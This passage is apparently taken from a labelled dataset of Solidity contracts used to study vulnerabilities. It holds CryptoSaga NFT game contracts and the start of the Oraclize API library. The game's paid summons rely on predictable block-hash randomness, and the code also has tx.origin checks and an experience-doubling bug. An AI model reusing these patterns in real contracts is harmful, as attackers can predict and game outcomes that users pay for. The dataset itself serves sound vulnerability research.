uint256 _tokenId) internal { require(_to != address(0)); require(_to != ownerOf(_tokenId)); require(ownerOf(_tokenId) == _from); clearApproval(_from, _tokenId); removeToken(_from, _tokenId); addToken(_to, _tokenId); Transfer(_from, _to, _tokenId); } function clearApproval(address _owner, uint256 _tokenId) private { require(ownerOf(_tokenId) == _owner); tokenApprovals[_tokenId] = 0; Approval(_owner, 0, _tokenId); } function addToken(address _to, uint256 _tokenId) private { require(tokenOwner[_tokenId] == address(0)); tokenOwner[_tokenId] = _to; uint256 length = balanceOf(_to); ownedTokens[_to].push(_tokenId); ownedTokensIndex[_tokenId] = length; totalTokens = totalTokens.add(1); } function removeToken(address _from, uint256 _tokenId) private { require(ownerOf(_tokenId) == _from); uint256 tokenIndex = ownedTokensIndex[_tokenId]; uint256 lastTokenIndex = balanceOf(_from).sub(1); uint256 lastToken = ownedTokens[_from][lastTokenIndex]; tokenOwner[_tokenId] = 0; ownedTokens[_from][tokenIndex] = lastToken; ownedTokens[_from][lastTokenIndex] = 0; ownedTokens[_from].length--; ownedTokensIndex[_tokenId] = 0; ownedTokensIndex[lastToken] = tokenIndex; totalTokens = totalTokens.sub(1); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract AccessDeposit is Claimable { mapping(address => bool) private depositAccess; modifier onlyAccessDeposit { require(msg.sender == owner || depositAccess[msg.sender] == true); _; } function grantAccessDeposit(address _address) onlyOwner public { depositAccess[_address] = true; } function revokeAccessDeposit(address _address) onlyOwner public { depositAccess[_address] = false; } } contract AccessDeploy is Claimable { mapping(address => bool) private deployAccess; modifier onlyAccessDeploy { require(msg.sender == owner || deployAccess[msg.sender] == true); _; } function grantAccessDeploy(address _address) onlyOwner public { deployAccess[_address] = true; } function revokeAccessDeploy(address _address) onlyOwner public { deployAccess[_address] = false; } } contract AccessMint is Claimable { mapping(address => bool) private mintAccess; modifier onlyAccessMint { require(msg.sender == owner || mintAccess[msg.sender] == true); _; } function grantAccessMint(address _address) onlyOwner public { mintAccess[_address] = true; } function revokeAccessMint(address _address) onlyOwner public { mintAccess[_address] = false; } } contract Gold is StandardToken, Claimable, AccessMint { string public constant name = ""Gold""; string public constant symbol = ""G""; uint8 public constant decimals = 18; event Mint( address indexed _to, uint256 indexed _tokenId ); function mint(address _to, uint256 _amount) onlyAccessMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } } contract CryptoSagaCard is ERC721Token, Claimable, AccessMint { string public constant name = ""CryptoSaga Card""; string public constant symbol = ""CARD""; mapping(uint256 => uint8) public tokenIdToRank; uint256 public numberOfTokenId; CryptoSagaCardSwap private swapContract; event CardSwap(address indexed _by, uint256 _tokenId, uint256 _rewardId); function setCryptoSagaCardSwapContract(address _contractAddress) public onlyOwner { swapContract = CryptoSagaCardSwap(_contractAddress); } function rankOf(uint256 _tokenId) public view returns (uint8) { return tokenIdToRank[_tokenId]; } function mint(address _beneficiary, uint256 _amount, uint8 _rank) onlyAccessMint public { for (uint256 i = 0; i < _amount; i++) { _mint(_beneficiary, numberOfTokenId); tokenIdToRank[numberOfTokenId] = _rank; numberOfTokenId ++; } } function swap(uint256 _tokenId) onlyOwnerOf(_tokenId) public returns (uint256) { require(address(swapContract) != address(0)); var _rank = tokenIdToRank[_tokenId]; var _rewardId = swapContract.swapCardForReward(this, _rank); CardSwap(ownerOf(_tokenId), _tokenId, _rewardId); _burn(_tokenId); return _rewardId; } } contract CryptoSagaCardSwap is Ownable { address internal cardAddess; modifier onlyCard { require(msg.sender == cardAddess); _; } function setCardContract(address _contractAddress) public onlyOwner { cardAddess = _contractAddress; } function swapCardForReward(address _by, uint8 _rank) onlyCard public returns (uint256); } contract CryptoSagaHero is ERC721Token, Claimable, Pausable, AccessMint, AccessDeploy, AccessDeposit { string public constant name = ""CryptoSaga Hero""; string public constant symbol = ""HERO""; struct HeroClass { string className; uint8 classRank; uint8 classRace; uint32 classAge; uint8 classType; uint32 maxLevel; uint8 aura; uint32[5] baseStats; uint32[5] minIVForStats; uint32[5] maxIVForStats; uint32 currentNumberOfInstancedHeroes; } struct HeroInstance { uint32 heroClassId; string heroName; uint32 currentLevel; uint32 currentExp; uint32 lastLocationId; uint256 availableAt; uint32[5] currentStats; uint32[5] ivForStats; } uint32 public requiredExpIncreaseFactor = 100; uint256 public requiredGoldIncreaseFactor = 1000000000000000000; mapping(uint32 => HeroClass) public heroClasses; uint32 public numberOfHeroClasses; mapping(uint256 => HeroInstance) public tokenIdToHeroInstance; uint256 public numberOfTokenIds; Gold public goldContract; mapping(address => uint256) public addressToGoldDeposit; uint32 private seed = 0; event DefineType( address indexed _by, uint32 indexed _typeId, string _className ); event LevelUp( address indexed _by, uint256 indexed _tokenId, uint32 _newLevel ); event Deploy( address indexed _by, uint256 indexed _tokenId, uint32 _locationId, uint256 _duration ); function getClassInfo(uint32 _classId) external view returns (string className, uint8 classRank, uint8 classRace, uint32 classAge, uint8 classType, uint32 maxLevel, uint8 aura, uint32[5] baseStats, uint32[5] minIVs, uint32[5] maxIVs) { var _cl = heroClasses[_classId]; return (_cl.className, _cl.classRank, _cl.classRace, _cl.classAge, _cl.classType, _cl.maxLevel, _cl.aura, _cl.baseStats, _cl.minIVForStats, _cl.maxIVForStats); } function getClassName(uint32 _classId) external view returns (string) { return heroClasses[_classId].className; } function getClassRank(uint32 _classId) external view returns (uint8) { return heroClasses[_classId].classRank; } function getClassMintCount(uint32 _classId) external view returns (uint32) { return heroClasses[_classId].currentNumberOfInstancedHeroes; } function getHeroInfo(uint256 _tokenId) external view returns (uint32 classId, string heroName, uint32 currentLevel, uint32 currentExp, uint32 lastLocationId, uint256 availableAt, uint32[5] currentStats, uint32[5] ivs, uint32 bp) { HeroInstance memory _h = tokenIdToHeroInstance[_tokenId]; var _bp = _h.currentStats[0] + _h.currentStats[1] + _h.currentStats[2] + _h.currentStats[3] + _h.currentStats[4]; return (_h.heroClassId, _h.heroName, _h.currentLevel, _h.currentExp, _h.lastLocationId, _h.availableAt, _h.currentStats, _h.ivForStats, _bp); } function getHeroClassId(uint256 _tokenId) external view returns (uint32) { return tokenIdToHeroInstance[_tokenId].heroClassId; } function getHeroName(uint256 _tokenId) external view returns (string) { return tokenIdToHeroInstance[_tokenId].heroName; } function getHeroLevel(uint256 _tokenId) external view returns (uint32) { return tokenIdToHeroInstance[_tokenId].currentLevel; } function getHeroLocation(uint256 _tokenId) external view returns (uint32) { return tokenIdToHeroInstance[_tokenId].lastLocationId; } function getHeroAvailableAt(uint256 _tokenId) external view returns (uint256) { return tokenIdToHeroInstance[_tokenId].availableAt; } function getHeroBP(uint256 _tokenId) public view returns (uint32) { var _tmp = tokenIdToHeroInstance[_tokenId].currentStats; return (_tmp[0] + _tmp[1] + _tmp[2] + _tmp[3] + _tmp[4]); } function getHeroRequiredGoldForLevelUp(uint256 _tokenId) public view returns (uint256) { return (uint256(2) ** (tokenIdToHeroInstance[_tokenId].currentLevel / 10)) * requiredGoldIncreaseFactor; } function getHeroRequiredExpForLevelUp(uint256 _tokenId) public view returns (uint32) { return ((tokenIdToHeroInstance[_tokenId].currentLevel + 2) * requiredExpIncreaseFactor); } function getGoldDepositOfAddress(address _address) external view returns (uint256) { return addressToGoldDeposit[_address]; } function getTokenIdOfAddressAndIndex(address _address, uint256 _index) external view returns (uint256) { return tokensOf(_address)[_index]; } function getTotalBPOfAddress(address _address) external view returns (uint32) { var _tokens = tokensOf(_address); uint32 _totalBP = 0; for (uint256 i = 0; i < _tokens.length; i ++) { _totalBP += getHeroBP(_tokens[i]); } return _totalBP; } function setHeroName(uint256 _tokenId, string _name) onlyOwnerOf(_tokenId) public { tokenIdToHeroInstance[_tokenId].heroName = _name; } function setGoldContract(address _contractAddress) onlyOwner public { goldContract = Gold(_contractAddress); } function setRequiredExpIncreaseFactor(uint32 _value) onlyOwner public { requiredExpIncreaseFactor = _value; } function setRequiredGoldIncreaseFactor(uint256 _value) onlyOwner public { requiredGoldIncreaseFactor = _value; } function CryptoSagaHero(address _goldAddress) public { require(_goldAddress != address(0)); setGoldContract(_goldAddress); defineType(""Archangel"", 4, 1, 13540, 0, 99, 3, [uint32(74), 75, 57, 99, 95], [uint32(8), 6, 8, 5, 5], [uint32(8), 10, 10, 6, 6]); defineType(""Shadowalker"", 3, 4, 134, 1, 75, 4, [uint32(45), 35, 60, 80, 40], [uint32(3), 2, 10, 4, 5], [uint32(5), 5, 10, 7, 5]); defineType(""Pyromancer"", 2, 0, 14, 2, 50, 1, [uint32(50), 28, 17, 40, 35], [uint32(5), 3, 2, 3, 3], [uint32(8), 4, 3, 4, 5]); defineType(""Magician"", 1, 3, 224, 2, 30, 0, [uint32(35), 15, 25, 25, 30], [uint32(3), 1, 2, 2, 2], [uint32(5), 2, 3, 3, 3]); defineType(""Farmer"", 0, 0, 59, 0, 15, 2, [uint32(10), 22, 8, 15, 25], [uint32(1), 2, 1, 1, 2], [uint32(1), 3, 1, 2, 3]); } function defineType(string _className, uint8 _classRank, uint8 _classRace, uint32 _classAge, uint8 _classType, uint32 _maxLevel, uint8 _aura, uint32[5] _baseStats, uint32[5] _minIVForStats, uint32[5] _maxIVForStats) onlyOwner public { require(_classRank < 5); require(_classType < 3); require(_aura < 5); require(_minIVForStats[0] <= _maxIVForStats[0] && _minIVForStats[1] <= _maxIVForStats[1] && _minIVForStats[2] <= _maxIVForStats[2] && _minIVForStats[3] <= _maxIVForStats[3] && _minIVForStats[4] <= _maxIVForStats[4]); HeroClass memory _heroType = HeroClass({ className: _className, classRank: _classRank, classRace: _classRace, classAge: _classAge, classType: _classType, maxLevel: _maxLevel, aura: _aura, baseStats: _baseStats, minIVForStats: _minIVForStats, maxIVForStats: _maxIVForStats, currentNumberOfInstancedHeroes: 0 }); heroClasses[numberOfHeroClasses] = _heroType; DefineType(msg.sender, numberOfHeroClasses, _heroType.className); numberOfHeroClasses ++; } function mint(address _owner, uint32 _heroClassId) onlyAccessMint public returns (uint256) { require(_owner != address(0)); require(_heroClassId < numberOfHeroClasses); var _heroClassInfo = heroClasses[_heroClassId]; _mint(_owner, numberOfTokenIds); uint32[5] memory _ivForStats; uint32[5] memory _initialStats; for (uint8 i = 0; i < 5; i++) { _ivForStats[i] = (random(_heroClassInfo.maxIVForStats[i] + 1, _heroClassInfo.minIVForStats[i])); _initialStats[i] = _heroClassInfo.baseStats[i] + _ivForStats[i]; } HeroInstance memory _heroInstance = HeroInstance({ heroClassId: _heroClassId, heroName: """", currentLevel: 1, currentExp: 0, lastLocationId: 0, availableAt: now, currentStats: _initialStats, ivForStats: _ivForStats }); tokenIdToHeroInstance[numberOfTokenIds] = _heroInstance; numberOfTokenIds ++; _heroClassInfo.currentNumberOfInstancedHeroes ++; return numberOfTokenIds - 1; } function deploy(uint256 _tokenId, uint32 _locationId, uint256 _duration) onlyAccessDeploy public returns (bool) { require(ownerOf(_tokenId) != address(0)); var _heroInstance = tokenIdToHeroInstance[_tokenId]; require(_heroInstance.availableAt <= now); _heroInstance.lastLocationId = _locationId; _heroInstance.availableAt = now + _duration; Deploy(msg.sender, _tokenId, _locationId, _duration); } function addExp(uint256 _tokenId, uint32 _exp) onlyAccessDeploy public returns (bool) { require(ownerOf(_tokenId) != address(0)); var _heroInstance = tokenIdToHeroInstance[_tokenId]; var _newExp = _heroInstance.currentExp + _exp; require(_newExp == uint256(uint128(_newExp))); _heroInstance.currentExp += _newExp; } function addDeposit(address _to, uint256 _amount) onlyAccessDeposit public { addressToGoldDeposit[_to] += _amount; } function levelUp(uint256 _tokenId) onlyOwnerOf(_tokenId) whenNotPaused public { var _heroInstance = tokenIdToHeroInstance[_tokenId]; require(_heroInstance.availableAt <= now); var _heroClassInfo = heroClasses[_heroInstance.heroClassId]; require(_heroInstance.currentLevel < _heroClassInfo.maxLevel); var requiredExp = getHeroRequiredExpForLevelUp(_tokenId); require(_heroInstance.currentExp >= requiredExp); var requiredGold = getHeroRequiredGoldForLevelUp(_tokenId); var _ownerOfToken = ownerOf(_tokenId); require(addressToGoldDeposit[_ownerOfToken] >= requiredGold); _heroInstance.currentLevel += 1; for (uint8 i = 0; i < 5; i++) { _heroInstance.currentStats[i] = _heroClassInfo.baseStats[i] + (_heroInstance.currentLevel - 1) * _heroInstance.ivForStats[i]; } _heroInstance.currentExp -= requiredExp; addressToGoldDeposit[_ownerOfToken] -= requiredGold; LevelUp(msg.sender, _tokenId, _heroInstance.currentLevel); } function transferDeposit(uint256 _amount) whenNotPaused public { require(goldContract.allowance(msg.sender, this) >= _amount); if (goldContract.transferFrom(msg.sender, this, _amount)) { addressToGoldDeposit[msg.sender] += _amount; } } function withdrawDeposit(uint256 _amount) public { require(addressToGoldDeposit[msg.sender] >= _amount); if (goldContract.transfer(msg.sender, _amount)) { addressToGoldDeposit[msg.sender] -= _amount; } } function random(uint32 _upper, uint32 _lower) private returns (uint32) { require(_upper > _lower); seed = uint32(keccak256(keccak256(block.blockhash(block.number), seed), now)); return seed % (_upper - _lower) + _lower; } } contract CryptoSagaCardSwapVer2 is CryptoSagaCardSwap, Pausable{ address public wallet; CryptoSagaHero public heroContract; Gold public goldContract; uint256 public ethPrice = 20000000000000000; uint256 public goldPrice = 100000000000000000000; uint256 public mileagePointPrice = 100; mapping(uint32 => bool) public blackList; mapping(address => uint256) public addressToMileagePoint; mapping(address => uint256) public addressToFreeSummonTimestamp; uint32 private seed = 0; function getMileagePoint(address _address) public view returns (uint256) { return addressToMileagePoint[_address]; } function getFreeSummonTimestamp(address _address) public view returns (uint256) { return addressToFreeSummonTimestamp[_address]; } function setEthPrice(uint256 _value) onlyOwner public { ethPrice = _value; } function setGoldPrice(uint256 _value) onlyOwner public { goldPrice = _value; } function setMileagePointPrice(uint256 _value) onlyOwner public { mileagePointPrice = _value; } function setBlacklist(uint32 _classId, bool _value) onlyOwner public { blackList[_classId] = _value; } function addMileagePoint(address _beneficiary, uint256 _point) onlyOwner public { require(_beneficiary != address(0)); addressToMileagePoint[_beneficiary] += _point; } function CryptoSagaCardSwapVer2(address _heroAddress, address _goldAddress, address _cardAddress, address _walletAddress) public { require(_heroAddress != address(0)); require(_goldAddress != address(0)); require(_cardAddress != address(0)); require(_walletAddress != address(0)); wallet = _walletAddress; heroContract = CryptoSagaHero(_heroAddress); goldContract = Gold(_goldAddress); setCardContract(_cardAddress); } function swapCardForReward(address _by, uint8 _rank) onlyCard whenNotPaused public returns (uint256) { require(tx.origin != _by && tx.origin != msg.sender); var _randomValue = random(10000, 0); uint8 _heroRankToMint = 0; if (_rank == 0) { if (_randomValue < 8500) { _heroRankToMint = 3; } else { _heroRankToMint = 4; } } else if (_rank == 3) { if (_randomValue < 6500) { _heroRankToMint = 1; } else if (_randomValue < 9945) { _heroRankToMint = 2; } else if (_randomValue < 9995) { _heroRankToMint = 3; } else { _heroRankToMint = 4; } } else { _heroRankToMint = 0; } return summonHero(tx.origin, _heroRankToMint); } function payWithEth(uint256 _amount, address _referralAddress) whenNotPaused public payable { require(msg.sender != address(0)); require(msg.sender != _referralAddress); require(_amount >= 1 && _amount <= 5); var _priceOfBundle = ethPrice * _amount; require(msg.value >= _priceOfBundle); wallet.transfer(_priceOfBundle); for (uint i = 0; i < _amount; i ++) { var _randomValue = random(10000, 0); uint8 _heroRankToMint = 0; if (_randomValue < 5000) { _heroRankToMint = 1; } else if (_randomValue < 9550) { _heroRankToMint = 2; } else if (_randomValue < 9950) { _heroRankToMint = 3; } else { _heroRankToMint = 4; } summonHero(msg.sender, _heroRankToMint); if (_referralAddress != address(0)) { addressToMileagePoint[_referralAddress] += 5; addressToMileagePoint[msg.sender] += 3; } } } function payWithGold(uint256 _amount) whenNotPaused public { require(msg.sender != address(0)); require(_amount >= 1 && _amount <= 5); var _priceOfBundle = goldPrice * _amount; require(goldContract.allowance(msg.sender, this) >= _priceOfBundle); if (goldContract.transferFrom(msg.sender, this, _priceOfBundle)) { for (uint i = 0; i < _amount; i ++) { var _randomValue = random(10000, 0); uint8 _heroRankToMint = 0; if (_randomValue < 3000) { _heroRankToMint = 0; } else if (_randomValue < 7500) { _heroRankToMint = 1; } else if (_randomValue < 9945) { _heroRankToMint = 2; } else if (_randomValue < 9995) { _heroRankToMint = 3; } else { _heroRankToMint = 4; } summonHero(msg.sender, _heroRankToMint); } } } function payWithMileagePoint(uint256 _amount) whenNotPaused public { require(msg.sender != address(0)); require(_amount >= 1 && _amount <= 5); var _priceOfBundle = mileagePointPrice * _amount; require(addressToMileagePoint[msg.sender] >= _priceOfBundle); addressToMileagePoint[msg.sender] -= _priceOfBundle; for (uint i = 0; i < _amount; i ++) { var _randomValue = random(10000, 0); uint8 _heroRankToMint = 0; if (_randomValue < 5000) { _heroRankToMint = 1; } else if (_randomValue < 9050) { _heroRankToMint = 2; } else if (_randomValue < 9950) { _heroRankToMint = 3; } else { _heroRankToMint = 4; } summonHero(msg.sender, _heroRankToMint); } } function payWithDailyFreePoint() whenNotPaused public { require(msg.sender != address(0)); require(now > addressToFreeSummonTimestamp[msg.sender] + 1 days); addressToFreeSummonTimestamp[msg.sender] = now; var _randomValue = random(10000, 0); uint8 _heroRankToMint = 0; if (_randomValue < 5500) { _heroRankToMint = 0; } else if (_randomValue < 9850) { _heroRankToMint = 1; } else { _heroRankToMint = 2; } summonHero(msg.sender, _heroRankToMint); } function summonHero(address _to, uint8 _heroRankToMint) private returns (uint256) { uint32 _numberOfClasses = heroContract.numberOfHeroClasses(); uint32[] memory _candidates = new uint32[](_numberOfClasses); uint32 _count = 0; for (uint32 i = 0; i < _numberOfClasses; i ++) { if (heroContract.getClassRank(i) == _heroRankToMint && blackList[i] != true) { _candidates[_count] = i; _count++; } } require(_count != 0); return heroContract.mint(_to, _candidates[random(_count, 0)]); } function random(uint32 _upper, uint32 _lower) private returns (uint32) { require(_upper > _lower); seed = uint32(keccak256(keccak256(block.blockhash(block.number - 1), seed), now)); return seed % (_upper - _lower) + _lower; } }",./Dataset/block number dependency (BN),0,0 809.sol,"pragma solidity ^0.4.11; // /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.4.0;//please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0 contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName(""eth_mainnet""); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName(""eth_ropsten3""); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName(""eth_kovan""); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName(""eth_rinkeby""); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, 